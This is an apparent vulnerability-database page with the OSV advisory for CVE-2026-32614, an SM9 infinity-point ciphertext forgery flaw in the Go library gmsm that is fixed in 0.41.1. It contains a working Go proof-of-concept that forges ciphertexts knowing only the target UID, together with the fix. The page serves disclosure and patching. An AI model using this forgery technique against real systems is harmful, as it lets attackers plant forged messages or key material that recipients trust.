CVE-2026-32614: Github.com/emmansun/gmsm SM9 Infinity-Point Ciphertext Forgery Vulnerability Vulnerability
CRITICALCVE-2026-32614 is a CRITICAL (CVSS 7.5) sm9 infinity-point ciphertext forgery vulnerability vulnerability (CWE-20: Improper Input Validation) affecting Github.com/emmansun/gmsm libraries in the Go ecosystem. The issue involves sm9 infinity-point ciphertext forgery vulnerability. Remediation is available by upgrading affected packages to version 0.41.1.
CVE-2026-32614 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-32614
To remediate this vulnerability, upgrade all affected Github.com/emmansun/gmsm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/emmansun/gmsm to 0.41.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/emmansun/gmsm
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32614, inspect your project dependencies for Github.com/emmansun/gmsm:
inspect dependencies for github.com/emmansun/gmsm
Analyze the terminal output to locate any version of Github.com/emmansun/gmsm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.41.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/emmansun/gmsm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32614 Affected Github.com/emmansun/gmsm Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/emmansun/gmsm
|
Go |
< 0.41.1
|
0.41.1
|
References
Frequently Asked Questions
What is CVE-2026-32614?
Which Github.com/emmansun/gmsm versions are affected?
What version fixes CVE-2026-32614?
Is github.com/emmansun/gmsm affected?
What is the CVSS score of CVE-2026-32614?
What CWE is associated with CVE-2026-32614?
How can I check Go dependencies for CVE-2026-32614?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5xxp-2vrj-x855",
"modified" : "2026-03-16T16:37:09Z",
"published" : "2026-03-13T16:10:12Z",
"aliases" : [ "CVE-2026-32614" ],
"summary" : "SM9 Infinity-Point Ciphertext Forgery Vulnerability",
"details" : "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user's private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/emmansun/gmsm"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.41.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/emmansun/gmsm"
}, {
"type" : "WEB",
"url" : "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2026-4694"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-347" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-13T16:10:12Z",
"nvd_published_at" : "2026-03-16T14:19:39Z"
}
}